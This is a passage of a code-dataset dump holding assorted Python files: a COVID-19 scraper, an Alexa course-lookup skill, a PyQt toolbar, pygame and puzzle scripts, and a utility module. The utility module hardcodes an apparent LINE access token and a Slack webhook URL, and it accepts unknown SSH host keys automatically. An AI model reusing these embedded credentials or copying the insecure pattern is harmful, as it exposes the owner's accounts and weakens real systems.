0\r\n max = len(t)-1\r\n for i in range(max):\r\n check = int((min + max)/2)\r\n if t[check] == target:\r\n return check\r\n elif t[check] < target:\r\n min = check\r\n elif t[check] > target:\r\n max = check\r\n else:\r\n return \"Word not found\"\r\n\r\nif __name__ == '__main__':\r\n #print (bisect(primes, 67))\r\n #print(bisect(primes, 73))\r\n words = build_list('words.txt')\r\n print(bisect(words, 'bookkeeper'))\r\n \r\n\r\n\r\n\r\n","sub_path":"exercises/ex10_11.py","file_name":"ex10_11.py","file_ext":"py","file_size_in_byte":1933,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"371742390","text":"#!/usr/bin/python3\nfrom redis_mysql import DBConnect\nfrom lxml import etree\nimport boto3\nimport requests\nimport redis\nimport re\nimport os\n\nclass CV19:\n def __init__(self):\n #initialize variables \n self.ssm = boto3.client('ssm',region_name='us-east-1')\n self.redis = redis.Redis(host=self.get_redis_connection_string(),port=6379)\n self._url = \"https://en.wikipedia.org/wiki/2020_coronavirus_pandemic_in_the_United_States\"\n self._xpath_nums = \"//div[@id='covid19-container']/table//tbody//tr//td/text()\"\n self._xpath_alpha = \"//div[@id='covid19-container']/table//tbody//tr//a//text()\"\n self._html_decoded = self.get_base_html()\n self._raw_state_data = self.parse_states_xpath()\n self._raw_data = self.parse_data_xpath()\n self.DBC = DBConnect()\n\n def get_redis_connection_string(self):\n elasticache_ep = self.ssm.get_parameter(Name='elasticache-master-node')['Parameter']['Value']\n print(elasticache_ep)\n #conn = os.getenv('ElliottsRedisConnectionString') \n return elasticache_ep\n\n def parse_states_xpath(self):\n #use xpath to parse states from wiki page \n return self._html_decoded.xpath(self._xpath_alpha)\n\n def parse_data_xpath(self):\n #use xpath to parse statistical data from wiki page \n return self._html_decoded.xpath(self._xpath_nums)\n\n def get_base_html(self):\n #etree processes html page to prepare for xpath extractions \n data = requests.get(self._url)\n return etree.HTML(data.content.decode())\n\n def filter_state_data(self):\n #sort, filter and extract states from returned data \n return sorted([re.sub(r'([0-9])','',data) for data in self._raw_state_data[10:]\\\n if re.match(r'^\\w',data) and len(data) > 3 and data != 'United States'])\n\n def filter_numerical_data(self):\n #data from web page is structured, locate pattern in data and slice accordingly\n cases = self._raw_data[::5]\n fatalities = self._raw_data[1::5]\n recovered = self._raw_data[3::5]\n return (cases,fatalities,recovered)\n \n def make_data_documents(self):\n #generate tuble with columnar data from wiki page \n cases,fatalities ,recovered = self.filter_numerical_data()\n mapping = self.make_base_statistic_document()\n states = self.filter_state_data()\n #populate dictionaries \n try:\n for index,case in enumerate(cases):\n mapping[states[index]]['Cases'] = re.sub(r'\\n','',case)\n except IndexError:\n pass\n\n try:\n for index,fatal in enumerate(fatalities):\n mapping[states[index]]['Fatal'] = re.sub(r'\\n','',fatal)\n except IndexError:\n pass\n\n try:\n for index,recover in enumerate(recovered):\n mapping[states[index]]['Recovered'] = re.sub(r'\\n','',recover)\n except IndexError:\n pass\n\n return mapping\n\n def make_base_statistic_document(self):\n new = {}\n for i in self.filter_state_data():\n new[i] = {'Cases':None,'Fatal':None,'Recovered':None}\n return new\n\n def insert_rds_database(self):\n states = self.filter_state_data()\n cases, fatal, recovered = self.filter_numerical_data()\n for i in range(len(recovered)):\n try:\n self.DBC.insert_all_db(str(states[:56][i]),str(cases[:56][i]),str(fatal[i]),str(recovered[i]))\n #covert lxml object to string \n #each list (cases = 57, fatal = 57, recovered = 56, : Use length 56 to avoid Index error) \n except Exception as e:\n print(e)\n\n\n def insert_kv_redis(self):\n #Convert to a bytes, string, int or float first before insertion.\n for k,v in self.make_data_documents().items():\n try:\n print(f'Inserting key: {k},value: {v}')\n self.redis.set(str(k),str(v))\n except Exception as e:\n print(e)\n\n\n\nif __name__ == \"__main__\":\n data_scrape = CV19()\n data_scrape.insert_kv_redis()\n data_scrape.insert_rds_database()\n\n\n#AWS ElastiCache #Redis #Webscrape\n#Learning Redis\n#Scrape Covid19 data from Wikipedia, process and insert into Elasticache (redis) \n#Elliott Arnold 4-10-20 => LateNightToil\n\n \n\n\n\n\n\n \n","sub_path":"covid19ws/cv19WS.py","file_name":"cv19WS.py","file_ext":"py","file_size_in_byte":4399,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"234420038","text":"'''\nThe AND operator:\n\nex:\n\n and \n\nThe python keyword 'and' is used to determine truthiness of two expressions. Basically\nit looks to see if the expression to the left and right of the operand are truthy.\nIf one of the expressions is falsy everything is falsy\n'''\n\nlist_with_elements = ['this','list','has','elements']\nlist_empty = []\nstring_with_elements = 'this string has elements'\nstring_empty = ''\n\n\n\n\ndef using_and_Keyword(obja,objb):\n if obja and objb:\n print('both objects evaluate to True')\n else:\n print('one or more objects evaluates to False')\n\n\nusing_and_Keyword(string_with_elements,list_with_elements)","sub_path":"PythonBooleans/truthykeywords.py","file_name":"truthykeywords.py","file_ext":"py","file_size_in_byte":664,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"252045186","text":"#!/usr/bin/env python\n#encoding:utf-8\n\n时间与日期\nimport time\nprint(time.time()) # wall clock time, unit: second\nprint(time.clock()) # processor clock time, unit: second\n\nimport time\nprint('start')\ntime.sleep(10) # sleep for 10 seconds\nprint('wake up')\n\n\nst = time.gmtime() # 返回struct_time格式的UTC时间\nst = time.localtime() # 返回struct_time格式的当地时间, 当地时区根据系统环境决定。\n\ns = time.mktime(st) # 将struct_time格式转换成wall clock time\n\ndatetime\n\nimport datetime\nt = datetime.datetime(2012,9,3,21,30)\nprint(t)\nhour, minute, second, microsecond\nyear, month, day, weekday # weekday表示周几\n\n运算\nimport datetime\nt = datetime.datetime(2012,9,3,21,30)\nt_next = datetime.datetime(2012,9,5,23,30)\ndelta1 = datetime.timedelta(seconds = 600)\ndelta2 = datetime.timedelta(weeks = 3)\nprint(t + delta1)\nprint(t + delta2)\nprint(t_next - t)\n\ndatetime对象与字符串转换\n\nfrom datetime import datetime\nformat = \"output-%Y-%m-%d-%H%M%S.txt\" \nstr = \"output-1997-12-23-030000.txt\" \nt = datetime.strptime(str, format)\n\n\n","sub_path":"python-project/timeDate.py","file_name":"timeDate.py","file_ext":"py","file_size_in_byte":1098,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"277017625","text":"import sys\n\n\ndef sol(depth):\n global answer, total\n if answer > 0 and answer <= depth:\n return\n\n if total == 0:\n if answer == -1 or answer > depth:\n answer = depth\n return\n\n for x in range(10):\n for y in range(10):\n if board[x][y] == 1:\n break\n if board[x][y] == 1:\n break\n\n for size in range(1, 6):\n if check[size]:\n backup = []\n if check_cover(x, y, size):\n for i in range(x, x+size):\n for j in range(y, y+size):\n board[i][j] = 0\n backup.append((i, j))\n total -= (size)**2\n check[size] -= 1\n sol(depth+1)\n check[size] += 1\n total += (size)**2\n\n for back in backup:\n board[back[0]][back[1]] = 1\n\n\ndef check_cover(x, y, size):\n for i in range(x, x+size):\n for j in range(y, y+size):\n if 0 <= i < 10 and 0 <= j < 10:\n # 0인 경우\n if board[i][j] == 0:\n return False\n # 보드 넘어가는경우\n else:\n return False\n return True\n\n\nboard = [list(map(int, sys.stdin.readline().split())) for _ in range(10)]\ncheck = [0] + [5] * 5\ntotal = sum([sum(i) for i in board])\nanswer = -1\n\nsol(0)\nprint(answer)\n","sub_path":"baekjoon/색종이붙이기_17136.py","file_name":"색종이붙이기_17136.py","file_ext":"py","file_size_in_byte":1425,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"353476757","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\n\nScript Name: ToolBar.py\nAuthor: Do Trinh/Jimmy - 3D artist.\n\nDescription:\n\n\"\"\"\n# -------------------------------------------------------------------------------------------------------------\n\"\"\" Import \"\"\"\n\n# Python\nimport json\nimport os\nimport sys\nfrom functools import partial\n\nfrom PyQt5.QtCore import pyqtSignal, pyqtSlot\n# PyQt5\nfrom PyQt5.QtWidgets import QMainWindow, QApplication\n\n# Plt\nfrom core.Loggers import SetLogger\nfrom core.Metadata import __envKey__\nfrom core.keys import CONFIG_TDS, CONFIG_VFX, CONFIG_ART, CONFIG_TEX, CONFIG_POST\nfrom core.paths import SiPoMin\nfrom ui.uikits.Action import Action\nfrom dock.utils import str2bool, bool2str\n\n# -------------------------------------------------------------------------------------------------------------\n\"\"\" ToolBar \"\"\"\n\nclass MainToolBar(QMainWindow):\n\n key = 'mainToolBar'\n\n showLayout = pyqtSignal(str, str)\n executing = pyqtSignal(str)\n addLayout = pyqtSignal(object)\n openBrowser = pyqtSignal(str)\n setSetting = pyqtSignal(str, str, str)\n\n def __init__(self, parent=None):\n super(MainToolBar, self).__init__(parent)\n self.logger = SetLogger(self)\n\n with open(os.path.join(os.getenv(__envKey__), 'cfg', 'main.cfg'), 'r') as f:\n self.appInfo = json.load(f)\n\n self.tdToolBar = self.create_toolBar(\"TD\", CONFIG_TDS)\n self.compToolBar = self.create_toolBar(\"VFX\", CONFIG_VFX)\n self.artToolBar = self.create_toolBar(\"ART\", CONFIG_ART)\n self.textureToolBar = self.create_toolBar('TEX', CONFIG_TEX)\n self.postToolBar = self.create_toolBar('POST', CONFIG_POST)\n\n self.toolBars = [self.tdToolBar, self.compToolBar, self.artToolBar, self.textureToolBar, self.postToolBar]\n\n self.setSizePolicy(SiPoMin, SiPoMin)\n\n def create_toolBar(self, name=\"\", apps=[]):\n toolBar = self.addToolBar(name)\n for key in apps:\n if key in self.appInfo:\n toolBar.addAction(Action({'icon':key,\n 'stt':self.appInfo[key][0],\n 'txt':key,\n 'trg':(partial(self.executing.emit, self.appInfo[key][2]))}, self))\n return toolBar\n\n @pyqtSlot(str, bool)\n def showToolBar(self, toolbar, mode):\n if toolbar == 'td':\n self.tdToolBar.setVisible(str2bool(mode))\n self.setSetting.emit(toolbar, bool2str(mode), self.objectName())\n elif toolbar == 'vfx':\n self.compToolBar.setVisible(str2bool(mode))\n self.setSetting.emit(toolbar, bool2str(mode), self.objectName())\n elif toolbar == 'art':\n self.artToolBar.setVisible(str2bool(mode))\n self.setSetting.emit(toolbar, bool2str(mode), self.objectName())\n elif toolbar == 'tex':\n self.textureToolBar.setVisible(str2bool(mode))\n self.setSetting.emit(toolbar, bool2str(mode), self.objectName())\n elif toolbar == 'post':\n self.postToolBar.setVisible(str2bool(mode))\n self.setSetting.emit(toolbar, bool2str(mode), self.objectName())\n else:\n for tb in self.toolBars:\n tb.setVisible(str2bool(mode))\n self.setSetting.emit(tb, bool2str(mode), self.objectName())\n\n def hideEvent(self, event):\n self.setSetting.emit(self.key, 'hide', self.objectName())\n\n def closeEvent(self, event):\n self.showLayout.emit(self.key, 'hide')\n event.ignore()\n\ndef main():\n app = QApplication(sys.argv)\n toolBar = MainToolBar()\n toolBar.show()\n app.exec_()\n\nif __name__=='__main__':\n main()","sub_path":"assets/PLM/AppToolbar/MainToolBar.py","file_name":"MainToolBar.py","file_ext":"py","file_size_in_byte":3693,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"418270682","text":"# -*- coding: utf-8 -*-\n\n# HowTo skill: A simple skill that shows how to use python's\n# gettext module for localization, for multiple locales.\n\nimport logging\nimport gettext\n\nfrom ask_sdk_core.skill_builder import SkillBuilder\nfrom ask_sdk_core.handler_input import HandlerInput\nfrom ask_sdk_core.dispatch_components import (\n AbstractRequestHandler, AbstractExceptionHandler,\n AbstractResponseInterceptor, AbstractRequestInterceptor)\nfrom ask_sdk_core.utils import is_request_type, is_intent_name\nfrom ask_sdk_model.ui import SimpleCard\nfrom ask_sdk_model import Response\n\nfrom alexa import data, util\nimport pandas as pd\n\nsb = SkillBuilder()\n\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.INFO)\n\ncoursebookData = pd.read_csv(\"coursebook.csv\",parse_dates = [\"StartTime\", \"EndTime\", \"StartDate\", \"EndDate\"])\ndef isStringAvailable(string):\n\treturn string!=None and len(string)!=0\n\nclass LaunchRequestHandler(AbstractRequestHandler):\n\t\"\"\"Handler for skill launch.\"\"\"\n\tdef can_handle(self, handler_input):\n\t\t# type: (HandlerInput) -> bool\n\t\treturn is_request_type(\"LaunchRequest\")(handler_input)\n\n\tdef handle(self, handler_input):\n\t\t# type: (HandlerInput) -> Response\n\t\tlogger.info(\"In LaunchRequestHandler\")\n\t\t_ = handler_input.attributes_manager.request_attributes[\"_\"]\n\n\t\tlocale = handler_input.request_envelope.request.locale\n\t\tspeech = _(data.WELCOME_MESSAGE).format(\n\t\t\t_(data.SKILL_NAME))\n\t\treprompt = _(data.WELCOME_REPROMPT)\n\n\t\thandler_input.response_builder.speak(speech).ask(reprompt)\n\t\treturn handler_input.response_builder.response\n\n\n\n\nclass HelpIntentHandler(AbstractRequestHandler):\n \"\"\"Handler for Help Intent.\"\"\"\n def can_handle(self, handler_input):\n # type: (HandlerInput) -> bool\n return is_intent_name(\"AMAZON.HelpIntent\")(handler_input)\n\n def handle(self, handler_input):\n # type: (HandlerInput) -> Response\n logger.info(\"In HelpIntentHandler\")\n _ = handler_input.attributes_manager.request_attributes[\"_\"]\n\n locale = handler_input.request_envelope.request.locale\n \n\n speech = _(data.HELP_MESSAGE)\n\n handler_input.response_builder.speak(speech).ask(speech)\n return handler_input.response_builder.response\n\n\nclass RepeatIntentHandler(AbstractRequestHandler):\n \"\"\"Handler for Repeat Intent.\"\"\"\n def can_handle(self, handler_input):\n # type: (HandlerInput) -> bool\n return is_intent_name(\"AMAZON.RepeatIntent\")(handler_input)\n\n def handle(self, handler_input):\n # type: (HandlerInput) -> Response\n logger.info(\"In RepeatIntentHandler\")\n _ = handler_input.attributes_manager.request_attributes[\"_\"]\n\n session_attributes = handler_input.attributes_manager.session_attributes\n handler_input.response_builder.speak(\n session_attributes['speech']).ask(\n session_attributes['reprompt'])\n return handler_input.response_builder.response\n\n\nclass CancelOrStopIntentHandler(AbstractRequestHandler):\n \"\"\"Handler for Cancel and Stop Intents.\"\"\"\n def can_handle(self, handler_input):\n return (is_intent_name(\"AMAZON.CancelIntent\")(handler_input) or\n is_intent_name(\"AMAZON.StopIntent\")(handler_input))\n\n def handle(self, handler_input):\n # type: (HandlerInput) -> Response\n logger.info(\"In CancelOrStopIntentHandler\")\n _ = handler_input.attributes_manager.request_attributes[\"_\"]\n\n speech = _(data.STOP_MESSAGE).format(_(data.SKILL_NAME))\n handler_input.response_builder.speak(speech)\n return handler_input.response_builder.response\n\n\nclass FallbackIntentHandler(AbstractRequestHandler):\n \"\"\"Handler for Fallback Intent.\n\n AMAZON.FallbackIntent is only available in en-US locale.\n This handler will not be triggered except in that locale,\n so it is safe to deploy on any locale.\n \"\"\"\n def can_handle(self, handler_input):\n return is_intent_name(\"AMAZON.FallbackIntent\")(handler_input)\n\n def handle(self, handler_input):\n # type: (HandlerInput) -> Response\n logger.info(\"In FallbackIntentHandler\")\n _ = handler_input.attributes_manager.request_attributes[\"_\"]\n\n locale = handler_input.request_envelope.request.locale\n\n help_message = _(data.HELP_MESSAGE)\n help_reprompt = _(data.HELP_REPROMPT)\n speech = _(data.FALLBACK_MESSAGE).format(\n _(data.SKILL_NAME)) + help_message\n reprompt = _(data.FALLBACK_MESSAGE).format(\n _(data.SKILL_NAME)) + help_reprompt\n\n handler_input.response_builder.speak(speech).ask(reprompt)\n return handler_input.response_builder.response\n\n\nclass SessionEndedRequestHandler(AbstractRequestHandler):\n \"\"\"Handler for SessionEndedRequest.\"\"\"\n def can_handle(self, handler_input):\n return is_request_type(\"SessionEndedRequest\")(handler_input)\n\n def handle(self, handler_input):\n # type: (HandlerInput) -> Response\n logger.info(\"In SessionEndedRequestHandler\")\n logger.info(\"Session ended with reason: {}\".format(\n handler_input.request_envelope.request.reason))\n return handler_input.response_builder.response\n\n\nclass CatchAllExceptionHandler(AbstractExceptionHandler):\n \"\"\"Global exception handler.\"\"\"\n def can_handle(self, handler_input, exception):\n return True\n\n def handle(self, handler_input, exception):\n # type: (HandlerInput, Exception) -> Response\n _ = handler_input.attributes_manager.request_attributes[\"_\"]\n logger.error(exception, exc_info=True)\n logger.info(\"Original request was {}\".format(\n handler_input.request_envelope.request))\n\n speech = _(\"Sorry, I can't understand the command. Please say again!!\")\n handler_input.response_builder.speak(speech).ask(speech)\n\n return handler_input.response_builder.response\n\n\nclass CacheSpeechForRepeatInterceptor(AbstractResponseInterceptor):\n \"\"\"Cache the output speech and reprompt to session attributes,\n for repeat intent.\n \"\"\"\n def process(self, handler_input, response):\n # type: (HandlerInput, Response) -> None\n session_attr = handler_input.attributes_manager.session_attributes\n session_attr[\"speech\"] = response.output_speech\n session_attr[\"reprompt\"] = response.reprompt\n\n\nclass LocalizationInterceptor(AbstractRequestInterceptor):\n \"\"\"Add function to request attributes, that can load locale specific data.\"\"\"\n def process(self, handler_input):\n # type: (HandlerInput) -> None\n locale = handler_input.request_envelope.request.locale\n logger.info(\"Locale is {}\".format(locale))\n i18n = gettext.translation(\n 'data', localedir='locales', languages=[locale], fallback=True)\n handler_input.attributes_manager.request_attributes[\n \"_\"] = i18n.gettext\n\n\n \nclass CourseBasicsIntentHandler(AbstractRequestHandler):\n\t\"\"\"Handler for Cancel and Stop Intents.\"\"\"\n\tdef can_handle(self, handler_input):\n\t\treturn (is_intent_name(\"CourseBasicsIntent\")(handler_input))\n\n\tdef handle(self, handler_input):\n\t\t# type: (HandlerInput) -> Response\n\t\tlogger.info(\"In CourseBasicsIntentHandler\")\n\n\n\t\t_ = handler_input.attributes_manager.request_attributes[\"_\"]\n\t\tcourseName = handler_input.request_envelope.request.intent.slots[\"CourseName\"].value\n\t\tresult = None\n\t\tspeech = \"There are no courses available\"\n\t\tif(isStringAvailable(courseName)):\n\t\t\tresult = coursebookData[coursebookData[\"ClassTitle\"].str.lower().str.contains(courseName.lower())]\t\t\t\n\t\t\tif(len(result)>0):\n\t\t\t\tspeech = \"\"\n\t\t\t\tif(len(result)>1):\n\t\t\t\t\tspeech = \"There are \" + str(len(result)) + \" courses available.\"\n\t\t\t\t\tspeech = speech + \" Top result is \"\n\t\t\t\t\n\t\t\t\ttopResult = result.to_dict(\"records\")[0]\t\t\t\n\t\t\t\tspeech = speech + topResult[\"ClassTitle\"] + \" offered by \" + topResult[\"Instructor\"] + \". It is a \" + topResult[\"InstructionMode\"] + \" \" + topResult[\"ActivityType\"] + \" class on \"+ topResult[\"Days\"] + \" from \" + topResult[\"StartTime\"].strftime(\"%I %M %p\") + \" to \" + topResult[\"EndTime\"].strftime(\"%I %M %p\") + \" starting from \" + topResult[\"StartDate\"].strftime(\"%b %d, %Y\") + \" and ending on \"+ topResult[\"EndDate\"].strftime(\"%b %d, %Y\")\n\t\t\t\tspeech = speech.replace(\"&\",\"and\")\n\t\thandler_input.response_builder.speak(speech)\n\t\treturn handler_input.response_builder.response\n\t\t\nclass ProfessorIntentHandler(AbstractRequestHandler):\n\t\"\"\"Handler for Cancel and Stop Intents.\"\"\"\n\tdef can_handle(self, handler_input):\n\t\treturn (is_intent_name(\"ProfessorIntent\")(handler_input))\n\n\tdef handle(self, handler_input):\n\t\t# type: (HandlerInput) -> Response\n\t\tlogger.info(\"In ProfessorIntentHandler\")\n\n\n\t\t_ = handler_input.attributes_manager.request_attributes[\"_\"]\n\t\tcourseName = handler_input.request_envelope.request.intent.slots[\"CourseName\"].value\n\t\tinstructorName = handler_input.request_envelope.request.intent.slots[\"ProfessorName\"].value\n\t\tresult = None\n\t\tspeech = \"This course is not available\"\n\t\tif(isStringAvailable(courseName)):\n\t\t\tresult = coursebookData[coursebookData[\"ClassTitle\"].str.lower().str.contains(courseName.lower())]\t\t\t\n\t\t\tif(len(result)>0):\n\t\t\t\tresult = set(result[\"Instructor\"].tolist())\n\t\t\t\tspeech = \"Professor \"+\",Professor \".join(result)\n\t\telif(isStringAvailable(instructorName)):\n\t\t\tresult = coursebookData[coursebookData[\"Instructor\"].str.lower().str.contains(instructorName.lower())]\t\t\t\n\t\t\tif(len(result)>0):\n\t\t\t\tresult = set(result[\"ClassTitle\"].tolist())\n\t\t\t\tspeech = \",\".join(result)\n\t\t\t\n\t\t\t\t\n\t\thandler_input.response_builder.speak(speech)\n\t\treturn handler_input.response_builder.response\n\nclass CourseEnrollmentIntentHandler(AbstractRequestHandler):\n\t\"\"\"Handler for Cancel and Stop Intents.\"\"\"\n\tdef can_handle(self, handler_input):\n\t\treturn (is_intent_name(\"CourseEnrollmentIntent\")(handler_input))\n\n\tdef handle(self, handler_input):\n\t\t# type: (HandlerInput) -> Response\n\t\tlogger.info(CourseEnrollmentIntentHandler)\n\n\n\t\t_ = handler_input.attributes_manager.request_attributes[\"_\"]\n\t\tcourseName = handler_input.request_envelope.request.intent.slots[\"CourseName\"].value\n\t\tresult = None\n\t\tspeech = \"course is not available\"\n\t\tif isStringAvailable(courseName):\n\t\t\tcourseId = courseName.split(\".\")[0]\n\t\t\tcourseSection = courseName.split(\".\")[1]\n\t\t\tspeech = \"You cannot enroll as course is closed\"\n\t\t\tresult = coursebookData[coursebookData[\"CourseID\"].str.contains(courseId, case=False) & coursebookData[\"Section\"].str.contains(courseSection, case=False) & coursebookData[\"Status\"].str.contains(\"open\", case=False)]\n\n\t\t\tif len(result) > 0:\n\t\t\t\tspeech = \"You cannot enroll as you require department or professor's consent\" \n\t\t\t\tconsent = result[\"Consent\"].str.contains('y', case=False).iloc[0]\n\t\t\t\tif(consent==False):\n\t\t\t\t\tprereq = result[\"Prerequisites\"]\n\t\t\t\t\tspeech = \"\"\n\t\t\t\t\tif(prereq is None):\n\t\t\t\t\t\tspeech = \"You have prereqs for this course. Please make sure you complete them before enrolling\"\n\t\t\t\t\telse:\n\t\t\t\t\t\tspeech = \"You dont have any prereqs for this course. You are free to enroll.\"\n\t\t\t\t\t\tavailableSeats = result[\"Available Seats\"].iloc[0]\n\t\t\t\t\t\tif availableSeats < 5:\n\t\t\t\t\t\t\tspeech = speech + \" Seats are fast filling. There are less than 5 seats available\"\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tspeech = speech + \" You have \" + str(availableSeats) + \" seats left\"\n\t\t\t\n\t\t\t\t\n\t\thandler_input.response_builder.speak(speech)\n\t\treturn handler_input.response_builder.response\n\t\t\n\nsb.add_request_handler(LaunchRequestHandler())\nsb.add_request_handler(HelpIntentHandler())\nsb.add_request_handler(RepeatIntentHandler())\nsb.add_request_handler(CancelOrStopIntentHandler())\nsb.add_request_handler(FallbackIntentHandler())\nsb.add_request_handler(SessionEndedRequestHandler())\nsb.add_request_handler(CourseBasicsIntentHandler())\nsb.add_request_handler(ProfessorIntentHandler())\nsb.add_request_handler(CourseEnrollmentIntentHandler())\nsb.add_exception_handler(CatchAllExceptionHandler())\n\nsb.add_global_request_interceptor(LocalizationInterceptor())\nsb.add_global_response_interceptor(CacheSpeechForRepeatInterceptor())\n\nlambda_handler = sb.lambda_handler()\n","sub_path":"lambda_function.py","file_name":"lambda_function.py","file_ext":"py","file_size_in_byte":12027,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"207536203","text":"from typing import Any\n\nimport pygame as pg\n\n\n# noinspection PyAttributeOutsideInit,GrazieInspection\nclass Control:\n def __init__(self, screensize: tuple[int, int] = (900, 800)):\n self.screen: pg.Surface = pg.display.set_mode(screensize)\n self.screen_rect: pg.Rect = self.screen.get_rect()\n self.clock: pg.time.Clock = pg.time.Clock()\n self.fps: int = 60\n self.done: bool = False\n\n def setup_states(self, state_dict: dict[str, Any], start_state: str):\n \"\"\"\n Initializes States.\n\n :param dict[str, States] state_dict: Dictionary of possible States.\n :param str start_state: State to start in.\n \"\"\"\n self.state_dict: dict[str, Any] = state_dict\n self.state_name: str = start_state\n self.state: Any = self.state_dict[self.state_name]\n\n def switch_states(self):\n \"\"\"\n Switches to the next State.\n \"\"\"\n self.state.done = False\n previous: str = self.state_name\n self.state_name, arg = self.state.next\n self.state.cleanup()\n self.state = self.state_dict[self.state_name]\n self.state.startup(arg)\n self.state.previous = previous\n\n def event_loop(self):\n \"\"\"\n Event loop.\n \"\"\"\n for event in pg.event.get():\n if event.type == pg.QUIT:\n self.done = True\n self.state.get_event(event)\n\n def update(self, surface: pg.Surface):\n \"\"\"\n Updates States.\n\n :param pg.Surface surface: Surface to draw on.\n \"\"\"\n if self.state.quit:\n self.done = True\n elif self.state.done:\n self.switch_states()\n self.state.update(surface)\n\n def main_loop(self):\n \"\"\"\n Main loop.\n \"\"\"\n while not self.done:\n self.clock.tick(self.fps)\n self.event_loop()\n self.update(self.screen)\n pg.display.update()\n","sub_path":"Control.py","file_name":"Control.py","file_ext":"py","file_size_in_byte":1948,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"483800844","text":"import _mssql\nimport ftplib\nimport psycopg2\nimport psycopg2.extras\nimport pymssql\nimport requests, json\nimport time\nimport urllib.parse\nimport yaml\nimport paramiko\nimport os\n\n\ndef chunks(l, n=10000):\n \"\"\"Yield successive n-sized chunks from l.\"\"\"\n for i in range(0, len(l), n):\n yield l[i:i + n]\n\n\ndef elapse(tb, start_time):\n elapsed_time = time.time() - start_time\n print(\"===== Finished {} in {} s\".format(tb, elapsed_time))\n\n\ndef config(env):\n with open(\"config.yml\", 'r') as ymlfile:\n cfg = yaml.load(ymlfile)\n\n return cfg[env]\n\n\ndef notifyLine(message):\n LINE_ACCESS_TOKEN = \"5FJgfpvf4Jgljm8AQ9H6DHFt858TasxjDtf80uYMcMk\"\n LINE_HEADERS = {\n 'Content-Type': 'application/x-www-form-urlencoded',\n \"Authorization\": \"Bearer \" + LINE_ACCESS_TOKEN\n }\n LINE_NOTI_URL = \"https://notify-api.line.me/api/notify\"\n msg = urllib.parse.urlencode({\"message\": message})\n response = requests.post(url=LINE_NOTI_URL, headers=LINE_HEADERS, data=msg)\n print(\n 'Line Response: {status_code}'.format(status_code=response.status_code))\n\n\ndef notifySlack(message):\n SLACK_URL = \"https://hooks.slack.com/services/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\"\n payload = {\n \"text\": message,\n }\n data = json.dumps(payload)\n response = requests.post(SLACK_URL, data=data)\n print(\n 'Slakc Response: {status_code}'.format(status_code=response.status_code))\n\n\ndef sftp(host, owner, source, destination, files):\n print('[SFTP] - source: {}, destionation: {}, files: {}'.format(source, destination, files))\n ssh = paramiko.SSHClient()\n ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n k = paramiko.rsakey.RSAKey.from_private_key_file('key/' + owner)\n ssh.connect(host, username=owner, pkey=k)\n sftp = ssh.open_sftp()\n for file in files:\n sftp.put(os.path.join(source, file), os.path.join(destination, file))\n\n\ndef cleardir(path):\n filelist = [f for f in os.listdir(path)]\n for f in filelist:\n os.remove(os.path.join(path, f))\n\n\ndef connect_cmos(env):\n return pymssql.connect(env['host'], env['user'], env['password'], env['db'])\n\n\ndef mssql_cmos(env):\n return _mssql.connect(\n server=env['host'],\n user=env['user'],\n password=env['password'],\n database=env['db'])\n\n\ndef connect_psql(env):\n return psycopg2.connect(\n host=env['host'],\n port=env['port'],\n user=env['user'],\n password=env['password'],\n dbname=env['db'])\n\n\ndef replace_pipe(data):\n for key, value in data.items():\n data[key] = str(value).replace('|', '')\n return data\n\n\ndef get_file_seq(prefix, output_path, ext):\n files = [\n f.split('.')[0] for f in os.listdir(output_path)\n if os.path.isfile(os.path.join(output_path, f)) and f.endswith(ext)\n ]\n return 1 if not files else max(\n int(f[len(prefix)]) if f.startswith(prefix) else 0 for f in files) + 1\n\n\ndef query_matview(env, refresh_view, str_query):\n with connect_psql(env) as conn:\n with conn.cursor(cursor_factory=psycopg2.extras.DictCursor) as cursor:\n cursor.execute(refresh_view)\n cursor.execute(str_query)\n\n return cursor.fetchall()\n\n\ndef query_all(env, sql):\n with connect_psql(env) as conn:\n with conn.cursor(cursor_factory=psycopg2.extras.DictCursor) as cursor:\n cursor.execute(sql)\n\n return cursor.fetchall()\n\n\ndef insert_transaction(env, sql):\n with connect_psql(env) as conn:\n with conn.cursor(cursor_factory=psycopg2.extras.DictCursor) as cursor:\n cursor.execute(sql)\n count = cursor.rowcount\n print (count, \"Record inserted successfully !!\")\n\ndef ftp(host, user, pwd, src, dest):\n print('[FTP] - host: {}, user: {}, source: {}, destination: {}'.format(\n host, user, src, dest))\n with ftplib.FTP(host) as ftp:\n try:\n ftp.login(user, pwd)\n files = [f for f in os.listdir(src)]\n for f in files:\n source = '{}/{}'.format(src, f)\n destination = '{}/{}'.format(dest, f)\n with open(source, 'rb') as fp:\n res = ftp.storlines('STOR {}'.format(destination), fp)\n if not res.startswith('226 Transfer complete'):\n print('[FTP] - Upload failed: {}'.format(destination))\n except ftplib.all_errors as e:\n print('[FTP] - error:', e)","sub_path":"src/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":4199,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"169436262","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Feb 23 11:33:06 2016\n\n@author: kwickram\n\"\"\"\nfrom datetime import datetime\nimport os\nimport sys\nPACKAGE_PARENT = '..//..'\nSCRIPT_DIR = os.path.dirname(os.path.realpath(os.path.join(os.getcwd(), os.path.expanduser(__file__))))\nsys.path.append(os.path.normpath(os.path.join(SCRIPT_DIR, PACKAGE_PARENT)))\n\nfrom f_factor_analysis import *\nfrom jumpman.db.dbc import DatabaseConnection\nfrom jumpman.db.writer import WriteExcel\nimport pandas as pd\nfrom sqlalchemy.sql import select, text, and_, or_, not_\nfrom jumpman.alpha.alpha_tools import 